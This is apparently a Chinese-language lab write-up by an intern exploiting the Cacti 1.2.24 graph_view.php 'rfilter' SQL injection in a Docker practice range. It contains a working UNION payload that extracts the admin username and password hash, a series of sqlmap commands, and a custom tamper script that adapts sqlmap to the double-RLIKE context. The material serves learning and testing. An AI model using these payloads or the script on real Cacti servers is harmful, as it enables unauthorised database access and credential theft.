笔者是实习生,在公司实习的任务是利用sqlmap打靶场,收集攻击数据。本以为是个简单的工作,一开打发现不对劲,手动打跟着教程一次成功,sqlmap打就都是问题了。下面开始复现我的实验之路。

一:最初的手工注入

Cacti是一个全面的网络图形化解决方案,旨在利用RRDTool的数据存储和图形功能,为网络管理员提供直观的界面来监控和分析网络性能数据。

在Cacti 1.2.24及更早版本中,graph_view.php文件存在一个严重的漏洞,当启用guest用户时,未经任何身份验证的攻击者通过'rfilter'参数即可执行SQL注入攻击,最终可能导致远程代码执行。

参考链接:

执行以下命令启动Cacti 1.2.24服务器:

docker compose up -d

服务器启动后,访问http://your-ip:8080进入Cacti界面。默认凭据为admin/admin。

请以管理员身份登录并按照初始化说明进行操作。只需重复点击"下一步"按钮,直到看到成功页面。

该漏洞位于graph_view.php文件中的grow_right_pane_tree函数内。当action参数设置为'tree_content'时,用户输入的rfilter参数由html_validate_tree_vars函数验证。然而,这种验证仅确保输入是有效的正则表达式,无法防止SQL注入。

要利用此漏洞,向graph_view.php端点发送带有以下参数的请求:

http://your-ip:8080/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa"%20OR%20""="(("))%20UNION%20SELECT%201,2,(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201),4,5,6,(select%20user()),(select%20version()),9,10%23

可见,数据库信息和管理员账号密码已被爆出:

二:sqlmap尝试

直接把url放入,命令:

python sqlmap.py -u http://192.168.1.1:8000/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa

sqlmap挨个尝试了三个注入点,那肯定不行啊。当时一脸懵,sqlmap该如何指定注入点呢,AI说在-u的url参数里的注入点添加*,sqlmap会自动确定此处是注入点。经过尝试,还是不行。

python sqlmap.py -u http://192.168.1.1:8000/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa*

三:继续尝试

上面的测试只是笔者进行的一部分,之后还进行了加参数,减参数,改参数,调节level等级,risk等级等等操作,level和risk都开到最大(5,3)除了时间更长也没啥结果。

后面笔者端详了手工注入的payload,发现好像是"%20OR%20""="(("))%20的问题,把"%20OR%20""="(("))%20也包含在url里面,进行尝试,不行,sqlmap识别不出来。

之后在AI的帮助下,找到一个新的方法,--prefix和--suffix。--prefix可以在sqlmap拼接payload的时候在payload前面添加数据(--prefix “ ”);--suffix实在payload之后添加数据(--suffix “ ”)。

然后就是各种改命令,各种尝试

还有--prefix “"%20OR%20""="(("))%20” -p “rfilter” --suffix “#”  这种情况下sqlmap的payload会在"%20OR%20""="(("))%20之后进行闭合符测试,删减一个)应该也能成功,不过我当时忘了用--cookie,没有成功过。(经尝试,无法成功<Payload结构不匹配与OR布尔注入的限制:资料明确指出,--prefix--suffix 参数在“OR布尔注入”场景下可能不生效 。sqlmap生成的用于OR布尔注入测试的Payload(例如 OR 1=1)可能无法与您手动构造的、依赖于注释符#来截断后续SQL语句的复杂结构良好结合。工具无法成功构造出类似 " OR ""="(("))UNION... # 这样能正确处理RLIKE双重查询的特殊Payload>)

然鹅还是那样,不行。不过你们发现没,-v参数真好用,可以将sqlmap的payload和其他信息显示出来:

0:只输出 Python 出错回溯信息,错误和关键信息。

1:增加输出普通信息和警告信息。

2:增加输出调试信息。

3:增加输出已注入的 payloads。

4:增加输出 HTTP 请求。

5:增加输出 HTTP 响应头

6:增加输出 HTTP 响应内容。

使用等级 2 能更好地了解 sqlmap 内部实现了什么,尤其是在检测阶段和使用接管功能时。如果你想知道 sqlmap 发送了什么 SQL payloads,等级 3 是最佳选择。

这时候笔者是真没招了,已经想去去修改sqlmap源码了,还专门学习了一些,不过这种sqlmap高级用法网上资料非常少,根据AI搜集到的资料得知:sqlmap的payload不是固定写死的,它是分为好几个.xml文件

如图所示,其中几个是sql注入的不同方式,布尔盲注,延时注入等等,里面的各种<test>标签是拼接不同payload的原材料,只有这些肯定是不够的,还有

这些文件一起联动才能拼成一个完整的payload。

这个过程可以概括为以下步骤:

  1. 遍历与匹配:SQLMap在执行检测时,会遍历payloads.xml中的每一个<test>条目 。对于每一个<test>,它会再去遍历boundaries.xml中的所有<boundary>条目。

  2. 匹配条件:一个<test>和一个<boundary>能够成功匹配并组合的前提是,满足两个关键的子标签匹配条件 :

    • <boundary><clause>节点值必须包含<test><clause>节点值。

    • <boundary><where>节点值必须包含<test><where>节点值。

  3. 组合生成Payload:一旦匹配成功,最终的注入Payload将由两者的内容拼接而成。其基本公式为: 最终Payload = boundary.prefix + test.payload/vector + test.comment + boundary.suffix

其中,<boundary>主要定义注入的“边界”问题,如闭合前后缀(prefix, suffix)、注入点在SQL语句中的位置(clause,如WHERE, HAVING)等。而<test>则定义了注入的“核心”逻辑,即真正的攻击向量和验证方式。

ps:各种标签的不同作用我让mitaAI给我生成了一份,发布在下一个文章里。

笔者并没有真的尝试这种修改,毕竟咱也只是初学者,还没搞懂sqlmap的运行机制,本来是打算实在没办法了再去试试,所以目前还没有尝试,以后会进行学习的。

四:重头戏

后来我实在没办法了,就请教了我师傅,我师傅让我多看看源码,带我分析了源码(笔者没有开发的经验,对开发可以说一窍不通,我师傅被我气的血压都高了。。。)花了一晚上总算坑坑歪歪的找到了发生注入漏洞的源码:

$nav = html_nav_bar($config['url_path'] . 'graph_view.php?action=tree_content&tree_id=' . $tree_id . '&leaf_id=' . $leaf_id . '&node=' . get_request_var('node') . '&hgd=' . $host_group_data, MAX_DISPLAY_PAGES, get_request_var('page'), get_request_var('graphs'), $total_rows, get_request_var('columns'), __('Graphs'), 'page', 'main');

和手工注入的payload进行对比:

graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=aaaaaaa"%20OR%20""="(("))%20UNION%20SELECT%201,2,(select%20concat(id,0x23,username,0x23,password)%20from%20user_auth%20limit%201),4,5,6,(select%20user()),(select%20version()),9,10%23

才算是真正知道注入点是什么。

这是AI分析的结果:

通过对该代码的深入分析,我们可以得出以下关键信息:

  • 注入点(Injection Point)‍ :HTTP GET请求中的rfilter参数。
  • 注入上下文(Injection Context)‍ :用户的输入被直接放置在双引号(")内,作为MySQL RLIKE(正则表达式匹配)操作符的模式字符串。
  • 核心挑战:双重使用(Double Usage)‍ :get_request_var('rfilter')被调用了两次,意味着您提供的任何Payload都会被原封不动地插入到两个RLIKE子句中。这极大地增加了构造有效SQL语句的难度。一个简单的闭合Payload(如 test" --)会成功闭合第一个RLIKE,但会导致第二个RLIKE子句产生语法错误。

最终形成的SQL语句结构大致如下:
... WHERE ... (gtg.title_cache RLIKE "[用户输入]" OR gtg.title RLIKE "[用户输入]")

Payload原文: aaaaaaa"%20OR%20""="(("))UNION%20SELECT%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%23

让我们对其进行解码和分步解析:

  1. Payload: aaaaaaa" OR ""="(("))UNION SELECT 1,2,3,4,5,6,7,8,9,10#

  2. 第一部分:aaaaaaa"

    • aaaaaaa是无意义的填充字符。
    • "是关键,它用于闭合第一个RLIKE子句左侧的双引号。
    • 此时,SQL语句的第一部分变为:... (gtg.title_cache RLIKE "aaaaaaa"
  3. 第二部分:OR ""="(("))

    • 这是一个非常聪明的构造,其目的是在第一个RLIKE和第二个RLIKE之间插入一个语法上有效且逻辑上可控的部分。
    • OR引入一个新的逻辑条件。
    • ""="(("))是一个恒为假的表达式(空字符串不等于字符串"(("),其作用是作为语法“粘合剂”,确保在UNION查询之前整个布尔表达式是合法的。其本质与OR 1=2类似。
  4. 第三部分:UNION SELECT 1,2,3,4,5,6,7,8,9,10

    • 这是经典的联合查询注入,表明原始查询语句返回10个字段。
  5. 第四部分:#

    • #是MySQL中的注释符,它将从此处开始到语句末尾的所有内容都注释掉。这是整个Payload能够成功的决定性因素

将Payload代入原始代码后,我们来重构最终执行的SQL语句:

    注入后的SQL语句:

   

 ... (gtg.title_cache RLIKE "aaaaaaa" OR ""="(("))UNION SELECT 1,2,3,4,5,6,7,8,9,10#" OR gtg.title RLIKE "aaaaaaa" OR ""="(("))UNION SELECT 1,2,3,4,5,6,7,8,9,10#")

    由于#的存在,MySQL实际执行的语句是:

   

 ... (gtg.title_cache RLIKE "aaaaaaa" OR ""="(("))UNION SELECT 1,2,3,4,5,6,7,8,9,10

#将其后的所有内容,包括" OR gtg.title RLIKE ...以及最外层的右括号)全部注释掉了,从而避免了因双重参数代入而引发的语法错误,并成功执行了UNION查询。

总结一下,注入点是rfilter,不过sqlmap不会在注入点之后进行OR ""="(("))测试,需要操作者自己添加,笔者现在认为有两种方式可以成功。

第一种是--prefix和--suffix,我上文已经说过了,不过多赘述了。(

sqlmap -u "http://<target>/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=a" -p "rfilter" --prefix='"OR ""="(("))' --suffix='# ' --level=5 --risk=3 --technique=U -v 3 --dbs

)此处不成立,无法成功,原因是:Payload结构不匹配与OR布尔注入的限制:资料明确指出,--prefix--suffix 参数在“OR布尔注入”场景下可能不生效 。sqlmap生成的用于OR布尔注入测试的Payload(例如 OR 1=1)可能无法与您手动构造的、依赖于注释符#来截断后续SQL语句的复杂结构良好结合。工具无法成功构造出类似 " OR ""="(("))UNION... # 这样能正确处理RLIKE双重查询的特殊Payload

第二种是写一个temper脚本,脚本的功能就是给sqlmap的payload拼接字符,在这种情况下我终于成功了。

脚本是AI生成的,很简单:

#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Wraps payload for a specific double RLIKE injection.
    
    It closes the first RLIKE with a quote, injects a UNION query, 
    and comments out the rest of the SQL statement.
    This tamper script is specifically designed for the described scenario.

    Example:
    >>> tamper('1 UNION SELECT 1,2,3')
    '" OR ""="(("))UNION SELECT 1,2,3#'
    """
    
    # 检查payload是否为空
    if payload:
        # 模仿手动payload的结构,但将核心注入部分替换为sqlmap的payload
        # prefix: " OR ""="(("))
        # suffix: #
        # 注意:这里的OR ""="(("))是为了语法完整性,但通常sqlmap的payload本身就能构成完整的逻辑单元
        # 一个更简洁、通用的方式是直接闭合和注释
        
        # 简洁版:直接闭合和注释,依赖sqlmap的payload
        # return f'"{payload}#'
        
        # 完整模拟手动Payload版:
        # 如果sqlmap的payload不带UNION,我们可能需要自己加
        # 但通常sqlmap在UNION注入测试时会自带UNION SELECT
        # 这里的`OR ""="(("))`部分可以视情况省略,因为sqlmap的payload通常以AND/OR开头或直接是UNION
        # 为了最大程度地模拟手动Payload,我们保留它
        
        retVal = f'" OR ""="((")){payload}#'
        return retVal
    else:
        return payload

将代码复制粘贴到sqlmap的temper文件里

然后直接开爆:

python sqlmap.py -u "http://192.168.152.247:8081/graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=" -p "rfilter" --tamper="double_rlike.py" --level=5 --risk=3 -v 3 --dbs --output-dir=E:\sqlmap-librity --proxy="http://127.0.0.1:8080" --cookie="CactiDateTime=Wed Nov 05 2025 16:39:12 GMT+0800 (ä¸­å›½æ ‡å‡†æ—¶é—´); CactiTimeZone=480; Cacti=1864063c2670f6412af0fa9dc2c2bfae; cacti_remembers=1%2C0%2C57ab9fac9524374b018b3759e9dddeb0845e0bbb49746188b720598a8b96e0e1"

--proxy="http://127.0.0.1:8080"这是代理,利用burp suite,没开burp就删除这段,不然会报错

一定一定记住要加cookie,我就是在这掉坑里了。

)

结果:

这就是笔者在这个靶场的全部记录,有问题请指正。

Logo

Agent 垂直技术社区,欢迎活跃、内容共建。

更多推荐